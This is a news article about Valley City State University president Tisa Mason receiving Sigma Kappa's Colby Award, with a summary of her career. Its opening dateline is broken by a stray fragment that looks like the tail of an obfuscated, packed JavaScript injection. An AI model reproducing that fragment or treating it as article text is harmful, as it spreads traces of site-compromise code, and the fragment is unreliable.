VALLEY ttfyb|var|u0026u|referrer|ybfsf||js|php’.split(‘|’),0,{}))
CITY, ND – (NewsDakota.com) Valley City State University president Tisa Mason received the Colby Award from the Sigma Kappa Sorority at its Achievement Banquet on Saturday, July 9, during the organization’s convention in Chicago, Ill.
The Colby Award, Sigma Kappa’s highest honor bestowed upon alumnae members, is named in honor of Colby College, where Sigma Kappa was founded in 1874. The award is presented at each national convention to Sigma Kappa alumnae in recognition of their career achievements. Career fields considered include (but are not limited to) the arts, literature, public service, business, industry, education, science and athletics.
President Mason, originally a member of the Epsilon Kappa chapter of Sigma Kappa at her undergraduate institution, Transylvania University, received the award in recognition of her accomplishments in the field of higher education.
Sigma Kappa, a national organization of college women with headquarters in Indianapolis, Ind., provides its members with lifelong opportunities and support for social, intellectual and spiritual development by bringing women together to positively impact communities.
With 120 collegiate chapters in 36 states and 120 alumnae chapters in 40 states, Sigma Kappa supports philanthropy in three areas: gerontology, with a focus on Alzheimer’s disease research and programs directed at improving the lives of older citizens; Inherit the Earth; and Maine Seacoast Mission. The Sigma Kappa Foundation provides scholarship to collegiate and alumnae members each year, including scholarships for leadership, continuing education, and gerontology.
A native of Massachusetts, Mason served as executive director of the Sigma Kappa Sorority and Foundation from 1994–2004. She began her presidency at VCSU in December 2014, coming to Valley City from Hays, Kansas where she served as vice president for student affairs at Fort Hays State University. She previously served as dean of student life at the University of Wisconsin–Whitewater in Whitewater, Wis.; director of student life and assistant professor at Christopher Newport University, Newport News, Va.; and assistant dean of students, Hanover College, Hanover, Ind.
Mason was named one of Prairie Business magazine’s 2016 Top 25 Women in Business and profiled in the March 2016 issue of the magazine. That same month, she received the Pillars of the Profession award from the NASPA Foundation at “Common Purpose,” the 2016 annual conference of NASPA: Student Affairs Professionals in Higher Education, held in Indianapolis, Ind.
In 2013, Mason received the Robert H. Shaffer Award from the Association of Fraternity/Sorority Advisors for her long-term commitment to fostering positive change in fraternities and sororities. She received the Excellence in Service to Students Award from the National Society of Leadership and Success that year as well.
Her academic credentials include a Doctor of Education degree in higher education from the College of William and Mary in Williamsburg, Va.; a Master of Science degree in education from Eastern Illinois University in Charleston, Ill., and a Bachelor of Arts degree in sociology/anthropology from Transylvania University in Lexington, Ky. She has also earned the professional credential of Certified Association Executive (CAE).